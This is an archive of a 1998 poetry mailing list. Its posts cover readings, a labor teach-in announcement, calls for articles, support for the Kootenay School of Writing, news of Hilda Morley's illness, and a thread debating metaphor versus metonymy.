I'd like to publicly thank Nick Piombino and Liz Fedowksi for arranging for me to read in the Seque/Here series in NYC this past Saturday. Arranging readings, publicizing them, setting up chairs, and all that is something of a thankless task, and takes a generous spirit to provide the energy. So thank you, Liz and Nick, and all others who provide stages for our work. In Washington, it seems, little would happen without the seemingly endless energy and good spirit of people like Mark Wallace, Heather Fuller, Buck Downs Ann Wallace and Rod Smith. Thank you all. ***----***----***----***---- Say It With Words

Beth Joselow
[redacted]
voice: 202/[redacted]
fax: 202/[redacted]
2927 Tilden Street NW
Washington DC 20008

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397. **Mark Prejsnar**

(Fwd) SAWSJ Conference, April 24-26 (fwd)

Mon 9 Mar 1998

---------- Forwarded message ----------

I'm forwarding the following message to the list at the request of Kent Johnson, who I guess is off-list right now.....

Mark P.

------- Forwarded Message Follows -------
Date: Fri, 6 Mar 1998 16:47:11 EST
From: DavidA2647 <[redacted]>
Subject: SAWSJ Conference, April 24-26
To: [redacted]

This is a multi-part message in MIME format.

--part0_889220832_boundary

--part0_889220832_boundary

Below is the initial call for the SAWSJ Teach-In and First Annual Meeting, along with a registration form to be mailed in.

You will be receiving a more detailed program schedule, but at this time we invite you to pass the word along and, of course, to register. We look forward to seeing you in Washington. Onward, SAWSJ!

****
DEMOCRACY AND THE RIGHT TO ORGANIZE: A NATIONAL LABOR TEACH-IN
April 24-26, 1998
George Washington University
Washington, D.C.

Scholars, Artists, and Writers for Social Justice is sponsoring an important public event this spring, entitled "Democracy and the Right to Organize: A National Labor Teach-in." This convocation, which will be held April 24-26 on the George Washington University campus in Washington, D. C., will bring together hundreds of academics, students, trade unionists, and social activists to explain, advocate, debate, and celebrate the right of all Americans to organize, both on the job and off.

Plenary speakers on the evening of Friday, April 24, include Julian Bond, civil rights activist recently elected chair of the NAACP board of directors; John Sweeney, president of the AFL-CIO; Kimberle Crenshaw, Columbia University

professor of law; Steve Fraser, editor and writer; Juliet Schor, Harvard University economist; and Robin D. G. Kelley, New York University historian. More than a dozen workshops, plus the first annual meeting of Scholars, Artists, and Writers for Social Justice, will be held on Saturday, April 25.

SAWSJ, whose members have sponsored more than a score of labor teach-ins at universities and colleges across the country, believes that democracy and dignity at work and in American society requires the right to self-organization. But tens of millions of American workers are today denied this essential right. SAWSJ insists that whatever legal, political, managerial, or bureaucratic obstacles stand in the way of a genuinely unfettered right to organize must be swept aside in the interests of American democracy itself. This is a task, not only for the labor movement, but for all those who want to make the Bill of Rights a living document in the 21st century.

Saturday workshops will include sessions on labor and political action, the future of the Teamsters union, organizing the South, labor and the law, student activism, labor's connection to other social movements, and more. Among those who will be speaking at these workshops are legal scholar Karl Klare; Ken Paff of Teamsters for a Democratic Union; historians Gary Gerstle, David Brody, Andor Skotnes, and Nelson Lichtenstein; student activist Ligaya Domingo; sociologists Allen Hunter, Dan Clawson, Stanley Aronowitz, and Lynn Chancer; American studies scholar Nikhil Singh; labor educators Elaine Bernard, Kate Bronfenbrenner and Tom Juravich; and numerous trade unionists, including Bruce Raynor, Lane Windham, and Joe Uehlein. Tami Gold and Kelly Anderson, co-producers of the documentary film _Out at Work_, will also participate.

SAWSJ will hold its first annual meeting on Sunday, April 26, where it will elect its first set of officers. The group envisions a movement that can reshape the nation's political culture and foster the growth of a vibrant, militant, multicultural working-class movement. The labor movement needs an academic, cultural, and intellectual community that helps shape the terms of public debate, contesting corporate dominance of politics and culture. In turn, professors, students, artists, and writers need a progressive unionism that can provide a powerful voice for social justice. The time is ripe to restore that mutually empowering relationship that once gave hope and dynamism to the labor movement and its allies in the academic and cultural communities.

To register, to join SAWSJ, and/or to be added to our e-mail mailing list, please print out a copy of the form below and mail it in with your check (made payable to SAWSJ), to:

SAWSJ
2565 Broadway, #176
New York, NY 10025

For more information, or if you would like to volunteer to work on the conference, please contact Tami J. Friedman: [redacted]

You can also check our website: http://www.sage.edu/html/SAWSJ

If your organization would like to have a display table at the conference, please fax your request to Michael Kazin at [redacted]. We will do our best to accommodate you.

****

1. CONFERENCE REGISTRATION
"Democracy and the Right to Organize," April 24-26, Washington, D.C.

Name:

Street address:

City, state and zip:

Organizational affiliation:

Home phone: Work phone:

E-mail: FAX:

CONFERENCE REGISTRATION FEE: $5 student/low income
(circle one) $10 Friday night session only
$20 all others

2. SAWSJ MEMBERSHIP

MEMBERSHIP DUES: $10 student/low income
(circle one) $25 others with incomes below $40,000
$40 for those with incomes of $40,000 or above

3. SAWSJ E-MAIL MAILING LIST: You will receive timely information about SAWSJ activities and other labor-related programs, resources, etc.

___ I am currently on the list.

___ I am not on the list. Please add my e-mail address.

___ Please do not add my e-mail address to the list.

Make checks payable to SAWSJ (Scholars, Artists, and Writers for Social Justice). Mail them to SAWSJ, 2565 Broadway, #176, New York, NY 10025 .
********** *

--part0_889220832_boundary--

↑ Index

398. **Aviva99999**
Re: 20th. C. American Women Poets; Call for articles (fwd)
Mon 9 Mar 1998

In case you're interested, April.

<< Reply-To: [redacted]
To: [redacted]
Subject: 20th. C. American Women Poets; Call for articles

As guest editor for the "Revista Canaria de Estudios Ingleses" I am preparing a special issue on "XXTH. CENTURY AMERICAN WOMEN POETS" to be published in November 1998 and am seeking articles on any aspect, theme, author, or work which might be relevant to this theme, particularly readings which take into consideration gender, race and class issues and experimentation. The deadline for reception of manuscripts is June, 1, 1998, articles being a maximum 25 pages long with 30 lines per page. Additional information for contributors is available by sending me a request by email to [redacted]
The "Revista Canaria de Estudios Ingleses" is published twice yearly, in April and November, by the University of La Laguna. Five hundred copies are published of each issue and, up to the present, thirty-five issues have been published. It is scanned, indexed, or abstracted by the Annual Bibliography of English Language and Literature, BD-ISOC, Institute for Scientific Information, MLA International Bibliography and Ulrich's International Periodicals Directory, among others. We have an exchange program with 223 other journals and institutions. Every contributor receives one copy of the issue and 15-20 offprints. Direct all questions to:

Prof. John Amador-Bedford
Dept. of Modern Philology
University of La Laguna
Tenerife
Spain
e-mail: [redacted]
>>

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399. **k. lederer**
Re: Ted vs. Ted-ism
Mon 9 Mar 1998

Dear Gary and all--I hate to say it, but I can't seem to find Watten's thesis here--it's in some kind of permanent storage--or is otherwise not in the computer (neither is Alice Notley's)--I'll keep my eyes open, but c'est la vie--

All best,
Katy
***

On Fri, 6 Mar 1998, Gary Sullivan wrote:

> *Several lines from Watten's MFA thesis, "white yellow" (submitted to the University of Iowa, early seventies):*
>
> *I guess I want this to be*
> *a kind of "Tambourine Life"*
> *but I am not that nervous*
> *Irish mother fucker*
> *who put me down*
> *in Iowa City.*
>
> *Someone who has this text on hand, or more-or-less immediate access to it (Katy?) should quote it verbatim. (The above is nearly word-for-word, but line-breaks are no doubt wrong & there's maybe a missing word or two.)*
>
> *I always wondered whether his (Watten's) sentiment was genuine, there, or not. Anyone know?*
>
> *Gary Sullivan*
> [redacted]
>
> *On Friday, March 06, 1998 12:57 PM, Jacques Debrot [SMTP:*[redacted]*] wrote:*
> *Then again, this is how Barrett Watten remembers it in "After Ted" (_Aerial 8): "Berrigan's reading of _The Sonnets_ at Langton Street contained some of the greatest verbal moments in American language." And, in fact, wasn't it Watten himself who curated that event?*

↑ Index

400. Henry Gould
T. Wood's query re publishing
Mon 9 Mar 1998

How can poets find publishers? How can publishers find poetry?

How can the world find literature? (In a world of half-starved adjunct professors and non-English speaking reader-students - the only lovable ones!)

Every writer confronts his or her OWN illiteracy. (How to read "unrefined" experience?) Every word is a dictionary entry followed by... blank.

Every writer writes for the NON-artistic world - the world of our parents: in which the "free word" of literature, on which nothing depends, is sacrificed to

the "functional" word, the word in harness, the directions in the backhoe manual. That forsaken world where language (and our parents) have been humbled. And carved in stone.

Literature learns how to litter a tree. And you want to become the tree. You can't become the tree unless you are food for the soil. The key is in your own missing words. The words for what you don't understand: what happened yesterday. Your life in the world of illiterate action (i.e. silence). The Great American Shovel. (Dig up a story.)

I'm sure these musings will be of practical value to Tim Wood & everyone!!

- Henry Gould

↑ Index

401. MAYHEW
favorite bad poets
Mon 9 Mar 1998

My favorite bad poet is myself. My favorite terrible poet used to be Berrigan, but then I realized he was a great poet. My favorite mediocre poet is Auden, but only when he is truly mediocre, when he is bad I don't like him and when he is great then he is not a mediocre poet. My least favorite great poet is Pound, but only when he is great, when he is bad I like him and when he is mediocre I am indifferent to him. My favorite pretty good poet is Kenneth Koch, except when he is great and then he is one of my favorite great poets. When he is bad he is still Kenneth Koch.

Doesn't this sum it up pretty much? What I like about Berrigan is the sense of being given permission to be a poet; his capaciousness and generosity of taste is part of this, and I'm glad to see the list is generous to him, as I'm trying to catch up with the 95 posts I missed over the weekend being away from my computer. Wow!!

I've always enjoyed Joe Brainard's drawings, and I notice that the sonnets are dedicated to him. Does anyone have any recent news of him. I assume he is alive and well?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

402. linda russo
pomo metaphoracity
Mon 9 Mar 1998

dear listpeople

i've been thinking abt. metaphor as a(n) '(as)socia(tiona)l force' in (political) poetry, & also abt. a (healthy) poststructuralist skepticism that extinguishes the fire of/ turns off the ignition on/ & derails the vehicle, metaphor.

Was wondering if any of you all had thoughts, or could point me to some recent essays on a-metaphorical carrying over, which also deal directly with the absence of metaphor

thx.

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403. Susan Clark
The Kootenay School of Writing
Mon 9 Mar 1998

Hello all,

Thanks for your messages of support for the Kootenay School. They are much appreciated.

The address of the Kootenay School is:
The Kootenay School,
112 West Hastings Street,
Vancouver BC
V6B 1G8 [v6b 1g8] CANADA

** note of US $ cheques : Because the School has no US$ bank account and exchange and bank charges will be heavy on small cheques, US$ cheques/checks should be made out RADDLE MOON and flagged "for KSW" on the memo line. RM will deposit them in our US$ account and pay KSW the exchange on the amount from our Cdn$ chequing account. These cheques can be sent to RM at 518-350 East Second Avenue, Vancouver, BC V5T 4R8 or to the School.

.... Otherwise: money orders or book donations [thanks, Miekal] can be sent directly to the School.

Letters of support are also welcome. Writers of letters should please remember that the mandate of the City of Vancouver is to look out for **local** orgs and audiences, and should slant their letters accordingly. To say that Vancouver is internationally renown as a centre for leading edge [buzz words are fine in

bureaucratic circles!] poetries is good but better to say what this might mean for the city, and for local audiences.... Not to put words in anyone's mouth.

Letters should be addressed to :

Beverly Yahp
City of Vancouver
Office of Cultural Affairs
250 West Heritage Bldg City Sqare, Box 96,
555 West 12th Avenue
Vancouver BC
V5Z 3X7 CANADA

with cc: KSW at the address above for safety's sake [misfiling and all, you know]. Or email [second best option] the school at [redacted] and we can print out and fwd.

Thanks again for your support -- apologies for any duplication of Charles' post which I haven't read completely [have been out of town for a couple of days and am wading through email backlog] I wanted to get the address to those people asking.

Please email me if you have questions.

good wishes,

Susan

Susan Clark
RADDLE MOON
[redacted]

↑ Index

404. **s. kaipa**
Re: Query
Mon 9 Mar 1998

Does anyone have contacts for John Yau or Myung-Mi Kim? Email is preferred, but any information is greatly appreciated.

Thanks,

Summi Kaipa

↑ Index

405. Hilton Manfred Obenzinger
Re: favorite bad poets
Mon 9 Mar 1998

Joes Brainerd sadly died of AIDS a few years ago. Ron Padgett cared for him during his decline.

Hilton Obenzinger

↑ Index

406. Susan Clark
Charles' post
Tue 10 Mar 1998

I'd just like to second Charles' suggestion that letters be sent to City Councillors -- perhaps with copies of letters to the City's Cultural office [their address in my first note].

Susan

↑ Index

407. Maria Damon
Re: favorite bad poets
Tue 10 Mar 1998

At 6:03 PM -0600 3/9/98, MAYHEW wrote:
>My favorite bad poet is myself. My favorite terrible poet used to be
>Berrigan, but then I realized he was a great poet. My favorite mediocre
>poet is Auden, but only when he is truly mediocre, when he is bad I don't
>like him and when he is great then he is not a mediocre poet. My least
>favorite great poet is Pound, but only when he is great, when he is bad I
>like him and when he is mediocre I am indifferent to him. My favorite
>pretty good poet is Kenneth Koch, except when he is great and then he is
>one of my favorite great poets. When he is bad he is still Kenneth Koch.
>
this is terrific, jonathan. keep up the good spirit on this unbelievably
soggy and wind-pelted night.

↑ Index

408. Tim Wood
Re: T. Wood's query re publishing
Tue 10 Mar 1998

Henry,

You've always got a wonderful way of putting things. Even better because the semi-readerly writters of backhoe manuals probably not follow it, let all think it practical.

thanks,
Tim

At 01:48 PM 3/9/98 EST, you wrote:
>How can poets find publishers? How can publishers find poetry?
>
>How can the world find literature? (In a world of half-starved adjunct
>professors and non-English speaking reader-students - the only lovable ones!)
>
>Every writer confronts his or her OWN illiteracy. (How to read "unrefined"
>experience?) Every word is a dictionary entry followed by... blank.
>
>Every writer writes for the NON-artistic world - the world of our parents:
>in which the "free word" of literature, on which nothing depends, is
>sacrificed to the "functional" word, the word in harness, the directions
>in the backhoe manual. That forsaken world where language (and our parents)
>have been humbled. And carved in stone.
>
>Literature learns how to litter a tree. And you want to become the tree.
>You can't become the tree unless you are food for the soil. The key
>is in your own missing words. The words for what you don't understand:
>what happened yesterday. Your life in the world of illiterate action (i.e.
>silence). The Great American Shovel. (Dig up a story.)
>
>I'm sure these musings will be of practical value to Tim Wood & everyone!!
>
>- Henry Gould
>

_____ Tim Wood
[redacted]

↑ Index

409. **Maria Damon**
Re: pomo metaphoracity
Tue 10 Mar 1998

---

well this may not be what yr looking for, and it's kinda old hat too, but in the 80s poststructuralist crit metaphor seemed to be in decline in popularity and

metonymy on the rise; metaphor was said to be a mystification while metonymy revealed the relations that connected the twoterms; metaphor was "mystical" while metonymy was "historical," etc. This preoccupation and devaluing of metaphor seems to have abated in the 90s, see intro to Apex of M 1,for example, though it's still kicking around.

At 12:44 AM +0000 3/10/98, linda russo wrote:
>dear listpeople
>
>i've been thinking abt. metaphor as a(n) '(as)socia(tiona)l force' in
>(political) poetry, & also abt. a (healthy)
>poststructuralist skepticism that extinguishes the fire of/
>turns off the ignition on/ & derails the vehicle, metaphor.
>
>Was wondering if any of you all had thoughts, or could point me
>to some recent essays on a-metaphorical carrying over, which also
>deal directly with the absence of metaphor
>
>thx.

↑ Index

410. **Nuyopoman**
IN WITH THE OUT CROWD
Tue 10 Mar 1998

I have a few advance cassettes of my new album, IN WITH THE OUT CROWD, prod, by Hal Willner, featuring Chris Spedding, Wayne Kramer, Bobby Neuwirth and K Elmslie's longtime harpster Ken Deifik. The CD comes out in April. but backchannel me and I'll shoot one of these advances off to you now.

Bob Holman
[redacted]

↑ Index

411. **MAYHEW**
pomo metaphoracity
Tue 10 Mar 1998

The metaphor/metonymy opposition comes from Jakobson via Lacan and deconstruction. As Maria points out, it had a lot of play in the 1980s. I remember a lot of things like metaphor is modern and metonymy is postmodern also. There was a whole sort of tropological approach to poetry--remember all those essays about catachresis? I read a book trying to demonstrate the chiasmus was the central trope of lyric poetry. A lot of this has died out or been played out to its

logical conclusion. I don't see a lot of point in seeing metaphor as the opposite of any other trope, kind of like seeing cats as the opposite of dogs or oranges from apples or men from women. The Jakobson essay could be looked at with a cold hard eye, in my view: for example, I don't see that metonymy (this spelling looks wrong to me) is syntactic and horizontal. If I say "tin pan alley" instead of "popular songwriting of the 1920s" I am substituting one expression for another, not linking the two expressions syntactically. Jakobson bases his opposition on brain-impairment, aphasia. But some of this metomymies aren't really that: for example one aphasiac said knife instead of fork, but this is not a good example of metonymy in my book.

Sorry to be so pedantic so early in the morning.

Wallace Stevens has some interesting poems about metaphoracity, such as the motive for metaphor. Also along these lines William Bronk, perhaps.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

412. Eryque Gleason
jayne cortez/amiri baraka
Tue 10 Mar 1998

I made the trip down to NYC from Albany last friday night to meet a friend and see Amiri Baraka's reading at the Dia Center for the arts. I heard him read in Chicago a couple years ago but the sound was bad and the trumpet was loud and Baraka could barely be heard.

The friend that invited me didn't say that Jayne Cortez was also reading friday, and it was a damn good thing because Baraka was apparently stuck in traffic all night and never showed.

But Cortez was incredible! I don't know if I've ever seen a reading where the audience responded so enthusiastically, and where the poet was so moving. There was so much music and rhythm, politics, anger, celebration, power, intellect.... I had to drive back to Albany friday night, arrived about two in the morning with so much energy left I couldn't sleep right away.

They sold every copy of her book before the reading was over, I ordered from Amazon. Her latest book is _Somewhere in Adavance of Nowhere_, High Risk Books.

Live from Albany,
Eryque

↑ Index

413. Cadaly
Online Poetry Workshop through UCLA Extension
Tue 10 Mar 1998

I would like to announce (and open the topic up discussion, if anyone wants to talk about distance learning, online workshopping, & related) my first formal poetry writing workshop ever, through UCLA Extension. Rather leadenly called "Introduction to Poetry Writing: Workshop (Online)", the course will be nothing like the course description, which is trite and humiliating.

UCLA Extension Online Courses
http://unex.ucla.edu/on_line.htm

It's a straightforward workshop, based on participant work and critique of same, no assignments except for the stuck, but a weekly poem deadline. This quarter (UCLA is on a quarter system), we will be using modern poetry written in English as "examples". Summer quarters will feature post WWII and contemporary poets, respectively. How did I arrive at the reading list? Ten a term from the list of poets writing in English I expect any poet to have read.

As you know, there is the Alien Flower Poetry Workshop Online, there are service provider workshops (I'm a mentor through AOL, but they offer some $40 workshops), etc. My course is the beginning of what I hope will become a second series of accredited online workshops (the first is at New School). The reason to take one of mine would be that you are isolated, in the country/on the road or at a school with no writing workshops, and want to pursue undergrad writing or a writing certificate. You would want something serious and fun, to practice poetry writing with an audience without resorting to a lot of nonsense about creative activity.

UCLA Writers Program
http://unex.ucla.edu/certprgms/writers/homepage.htm

The reason I'm teaching this is that I'm an intranet/extranet developer with an MFA. While I don't have a book published, I have more than 70 individual poems published, including some at these locations online: Agnieszka's Dowry (http://www.enteract.com/~asgp/agd-poems/jar8.html), ECLECTICA Magazine Archives (http://www2.polarnet.com/~eclectic/archives.html), etc.

My info (it's a bad web site, sorry):
http://members.aol.com/cadaly/free.htm

Regards,
Catherine Daly
[redacted]

↑ Index

414. **TBeck131**
With all due respect
Tue 10 Mar 1998

I can't help but think that this list is overly preoccupied with dead poets. That's pretty safe.

Meanwhile, metaphor is like sex: there is always leakage.

Tom Beckett

↑ Index

415. **MAYHEW**
Undue Respect
Tue 10 Mar 1998

"Let's not discuss him, he's dead." In my mind I don't really make the distinction, I guess. I was thinking of R. Silliman's essay "New Hope for the Disappeared," in which he talks of how fast we forget about poets; his examples were Ceravolo and Lew Welch--I can add Joe Brainard to the list now much to my chagrin. If the point is that we should be discussing poets While they are still alive then I couldn't agree more.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

416. **Shemurph**
Re: jayne cortez
Tue 10 Mar 1998

In a message dated 98-03-10 10:35:52 EST, you write:

<< But Cortez was incredible! I don't know if I've ever seen a reading where the audience responded so enthusiastically, and where the poet was so moving. There was so much music and rhythm, politics, anger, celebration, power,

intellect.... I had to drive back to Albany friday night, arrived about two in the morning with so much energy left I couldn't sleep right away.

They sold every copy of her book before the reading was over, I ordered from Amazon. Her latest book is _Somewhere in Adavance of Nowhere_, High Risk Books.
>>

We had Jayne Cortez out in Scottsdale not too very long back, and she provided a STUNNING performance. Her work and her presence are marvelous.

↑ Index

417. Thomas Bell
Re: IN WITH THE OUT CROWD
Tue 10 Mar 1998

Bob,
Please send to
tom bell
2518 Wellington Pl.
Murfreesboro, TN 37128

if any are left. Thank you.
tom bell

At 09:44 AM 3/10/98 EST, Nuyopoman wrote:
>I have a few advance cassettes of my new album, IN WITH THE OUT CROWD, prod,
>by Hal Willner, featuring Chris Spedding, Wayne Kramer, Bobby Neuwirth and K
>Elmslie's longtime harpster Ken Deifik. The CD comes out in April. but
>backchannel me and I'll shoot one of these advances off to you now.
>
>Bob Holman
>[redacted]
>
>

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418. JDHollo
Hilda Morley
Tue 10 Mar 1998

HILDA MORLEY

To Hilda Morley's friends, associates, and readers:

Poet Hilda Morley, who recently moved from the U.S. to London, has been hospitalized and is in critical condition.

She has surfaced from a coma and is able to receive messages read out loud to her by friends at her bedside (Josephine Clare and Tamsin Hollo).

Faxes can be sent to her at:
011 -- 44 -- 171 -- 830 -- 2029.

****

Entry in POSTMODERN AMERICAN POETRY, ed. Paul Hoover:

"HILDA MORLEY b. 1919 Born in New York City and educated there and in Haifa, Israel, London, England, and Wellesley, Massachusetts, Hilda Morley has taught at New York University, Rutgers University, and Black Mountain College [...] Morlay did not begin to publish her poems in any number until the death of her husband, composer Stefan Wolpe, in 1971; since then her work has appeared widely. Her first major collection, *What Are Winds & What Are Waters" (1983), is a booklength threnody for Wolpe. In the preface, Denise Levertov writes, "her poetry so truly (and intuitively, I think) manifests the real meaning of the often-abused concept of 'composition by field,' that many other presences are as vivid around that central figure [of Wolpe]: birds, flowers, landscapes, street scenes, animals, whatever enters perception, however peripheral, is given its due." In her musical use of the poetic line, Morley is associated with Black Mountain poetics. Her other collections include {...] *A Blessing Outside Us* (1976), *To Hold in My Hand: Selected Poems* (1983), and *Cloudless and First* (1988)."

Hilda Morley is a wonderful poet and person. I feel privileged to have spent some time in animated conversations with her, one long-ago summer at Yaddo.

Anselm Hollo

↑ Index

419. Suzanne Burns
Re: Hilda Morley
Tue 10 Mar 1998

This is sad news-- I LOVE Morley's work and have for a long time. I've always meant to write to her to tell her that.

Suzanne

↑ Index

420. **Hzinnes**
Re: Hilda Morley
Tue 10 Mar 1998

To Whom It May Concern:

Though I have no fax available will you be good enough to extend my best wishes to Hilda Morley and tell her, please, that I am thinking of her, wishing her a recovery, and remembering her wonderful poems. Thank you. Harriet Zinnes

[redacted]

↑ Index

421. **TBeck131**
Re: Undue Respect
Tue 10 Mar 1998

---

bet
-ter
read
when
not
dead

TomB

↑ Index

422. **Steven Marks**
Re: pomo metaphoracity
Tue 10 Mar 1998

Rosmarie Waldrop speaks to this in her essay, "Form and Discontent," in the fall/winter '96 issue of Diacritics. She speaks, among many other things, of Olson referring to the vertical tendency of metaphor as "the suck of symbol." Waldrop: "Metaphor as a hotline to transcendence, to divine meaning, which casts the poet in the role of a special being, a priest or prophet." In short, Romanticism. On metonymy: "composition and syntax," "stess on how the elements were combined on the surface, how they sat next to each other on the page, how they followed each other in the theater." Or, "the Neoclassical aesthetic."

Metaphors: hotline, casts in the role, sat next to each other, theater Metonymy: priest?, prophet?

Metaphors 4
Metonymy 2

or is it?

Metaphors 6
Metonymy 0

metonymy: the Red Sox of the Trope Major leagues

it's confusing
Steven

On Tue, 10 Mar 1998, Maria Damon wrote:

> *well this may not be what yr looking for, and it's kinda old hat too, but in the 80s poststructuralist crit metaphor seemed to be in decline in popularity and metonymy on the rise; metaphor was said to be a mystification while metonymy revealed the relations that connected the twoterms; metaphor was "mystical" while metonymy was "historical," etc. This preoccupation and devaluing of metaphor seems to have abated in the 90s, see intro to Apex of M 1,for example, though it's still kicking around.*
>
> *At 12:44 AM +0000 3/10/98, linda russo wrote:*
> *dear listpeople*
>
> *i've been thinking abt. metaphor as a(n) '(as)socia(tiona)l force' in (political) poetry, & also abt. a (healthy) poststructuralist skepticism that extinguishes the fire of/ turns off the ignition on/ & derails the vehicle, metaphor.*
>
> *Was wondering if any of you all had thoughts, or could point me to some recent essays on a-metaphorical carrying over, which also deal directly with the absence of metaphor*
>
> *thx.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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423. **George Thompson**
Re: pomo metaphoracity
Tue 10 Mar 1998

I don't see any point in dramatizing this metaphor vs metonymy thing. They are both basic, essential elements of ALL LANGUAGE [sorry poets, ALL

LANGUAGE]. Metaphor has to do with paradigmatic relations, metonymy with syntagmatic relations.

Take away this set of relations and you deprive yourselves of a significant tool for understanding how the mind works, how ALL MINDS WORK [not just poetic minds].

This is not a matter of politics or poetics.

GT

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424. **SSSCHAEFER**
query
Tue 10 Mar 1998

Anyone have Mary Burger's e-mail address? I could sure use it. Also Franklin Bruno.

↑ Index

425. **AERIALEDGE**
Re: POETICS Digest - 8 Mar 1998 to 9 Mar 1998
Wed 11 Mar 1998

Re Berrigan/Watten. Don't know anything about the MFA thesis but the his piece in Aerial 8 is genuinely appreciative. Also, the reading of The Sonnets, Complete, at 80 Langton is possibly the single greatest poetry reading I've ever heard.

↑ Index

426. **david bromige**
metaphor et al
Wed 11 Mar 1998

I agree with George Thompson, with the rider that whenever there is invention of language, that is what is meant by poesis. It isnt always done by demarcated-off _poets_ , but they have made it their business to preserve such innovation and to create as 'twere websites where such generative play keeps us conscious of precisely that which George indicates in his post. David

↑ Index

427. **henry gould**
Re: pomo metaphoracity
Wed 11 Mar 1998

On Tue, 10 Mar 1998 18:57:46 -0500 Steven Marks said:
>Rosmarie Waldrop speaks to this in her essay, "Form and Discontent," in
>the fall/winter '96 issue of Diacritics. She speaks, among many other
>things, of Olson referring to the vertical tendency of metaphor as "the
>suck of symbol." Waldrop: "Metaphor as a hotline to transcendence, to
>divine meaning, which casts the poet in the role of a special being, a
>priest or prophet." In short, Romanticism. On metonymy: "composition and
>syntax," "stess on how the elements were combined on the surface, how they
>sat next to each other on the page, how they followed each other in the
>theater." Or, "the Neoclassical aesthetic."

I also agree with George Thompson. I think Rosmarie Waldrop's piece is only one among a great many which used this opposition to defend (sort of after-the-fact) the whole stream of open, experimental, documentary poetics stemming mainly from Pound, and also to support what is seen as a feminist, secular, "anti-logocentric" worldview. It is a simple fact that 20th century poetry explores whole new regions via metonymy, parataxis, and collage, so it is understandable that people would remark on the special resources of these aspects of language use. But this idea that metaphor rather than metonymy can be put to vatic, religious use - that one is sacred, the other secular - is there any evidence of this? Or is Waldrop's real target the attempt to provide any single, stable "meaning" in poetry?

The Russian Formalists sort of codified these two axes of composition in poetry, and various poets have been drawn to their theories for technical explanations of what they're doing. As I've said before here & have tried to point out in a couple web essays (in Mudlark & in a response to Joe Brennan in Flashpoint), I prefer the theories of one of the Formalists' percursors and antagonists, A. Potebnia. Potebnia emphasized that words have an "inner form" or "inner image" - psychological, etymological, symbolic. Actually not a single image - words are concentrated sources, via this inner form, of infinite meanings. Poetry is not analyzable simply on a R. Formalist grid or axis of metaphor/metonymy, because the inner form of the word per se is always generating new clusters of meaning & effect. Potebnia as you might guess shows some kinship with the ideas of Annensky and Mandelstam, in particular.

I'm not a scholar myself & admit these are hunches rather
than researches, but they're useful orientations for me anyway.
- Henry Gould

↑ Index

428. Suzanne Burns
Re: Hilda Morley
Wed 11 Mar 1998

Anselm:

I accidentally deleted the posting that had her fax number-- I really would love to send my appreciation and good wishes. Carolyn Kizer introduced me to her work years ago, and Cloudless at First is a book I have always had in my bag when I have travelled. Could you email me her number? Thanks?

Suzanne

Suzanne

↑ Index

429. Steven Marks
Re: pomo metaphoracity
Wed 11 Mar 1998

I agree that metonymy should have no privilege over metaphor and that both are parts of all languages. What I found interesting in the Waldrop quotes that I provided was that she couldn't get away from using metaphors. And who can? Or would want to? I remember about 25 years ago, I vowed to rid my writing of all metaphor. I'm not sure why. I think I thought of metaphors as being somehow "false." Well, this project didn't last long. I soon realized that common, everyday words themselves were metaphors. For example, "metaphor," which comes from roots meaning change and to bear. I always had this image of an old man carrying bundles of similarities across a bridge from one word to another. Still, this all said, I still wonder why language is this way. Could it have gone another route? I suppose these are more anthropological questions than political ones, although that line has to be blurry at some point as well. Maybe they are even physiological questions. Some researchers believe we developed speech because we, as a species, are predominately right-handed. Thus, we used the left side of our brain for picking fruits, nabbing grubs and just generally hanging around. This freed the right side of our brain to do what it does best -- speech. Can we blame it all on a gene that decided to favor right-handedness? What if it had decided left-handedness? Or split right down the middle?

Some early morning thoughts.

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

430. **Michael Magee**
Re: pomo metaphoracity
Wed 11 Mar 1998

I certainly agree that I wouldn't want to get rid of metaphor, & its a mistake, I think, to associate it primarily, immediately, etc, with poetry. There's almost no vernacular expression which doesn't include it. Zora Neale Hurston's fascinating essay, "Characteristics of Negro Expression," has some great examples of how metaphor and simile gets employed in African-American vernacular English. My favorites: "One at a time, like lawyers going to heaven;" "I'll beat you till you smell like onions;" calling deceivers "cloakers," and Molasses "mule blood," this latter being a fine example of the way metaphor can act, not to transcend but to do precisely the opposite, bring thing back down to earth, materiality, production, politics. -m.

According to Steven Marks:
> > I agree that metonymy should have no privilege over metaphor and that
> both are parts of all languages. What I found interesting in the Waldrop
> quotes that I provided was that she couldn't get away from using
> metaphors. And who can? Or would want to? I remember about 25 years ago,
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> vowed to rid my writing of all metaphor. I'm not sure why. I think I
> thought of metaphors as being somehow "false." Well, this project didn't
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> metaphors. For example, "metaphor," which comes from roots meaning
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> and to bear. I always had this image of an old man carrying bundles of
> similarities across a bridge from one word to another. Still, this all
> said, I still wonder why language is this way. Could it have gone another
> route? I suppose these are more anthropological questions than political
> ones, although that line has to be blurry at some point as well. Maybe
> they are even physiological questions. Some researchers believe we
> developed speech because we, as a species, are predominately right-handed.
> Thus, we used the left side of our brain for picking fruits, nabbing grubs
> and just generally hanging around. This freed the right side of our brain
> to do what it does best -- speech. Can we blame it all on a gene that
> decided to favor right-handedness? What if it had decided left-handedness?
> Or split right down the middle?
>

> Some early morning thoughts.
>
> cheers,
> Steven
>
> _____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
> _____
>

↑ Index

431. **Henry**
Re: pomo metaphoracity
Wed 11 Mar 1998

On Wed, 11 Mar 1998 09:40:08 -0500 Steven Marks said:
 Some researchers believe we
>developed speech because we, as a species, are predominately right-handed.
>Thus, we used the left side of our brain for picking fruits, nabbing grubs
>and just generally hanging around. This freed the right side of our brain
>to do what it does best -- speech. Can we blame it all on a gene that
>decided to favor right-handedness? What if it had decided left-handedness?
>Or split right down the middle?

I like Vico's idea that nabbing grubs & speech are basically THE SAME activity. That writing came before speech because the 1st speech ("grasping") was gesture - which became drawing - which became writing - which eventually became verbal "signs". - Henry G.(definitely lefthanded)

↑ Index

432. **Douglas Barbour**
Re: McCaffery & the breaking of the Temple
Wed 11 Mar 1998

It's really good to hear that Steve McCaffery is better off than we at first thought, although Temple still has a lot to answer for. But, parochially, it's kinda nice that he'll still be around in Canada to shake things up. It's been far too long & hard a road for him, but maybe the deserving do get something eventually.

==========

==========
Douglas Barbour
Department of English
University of Alberta
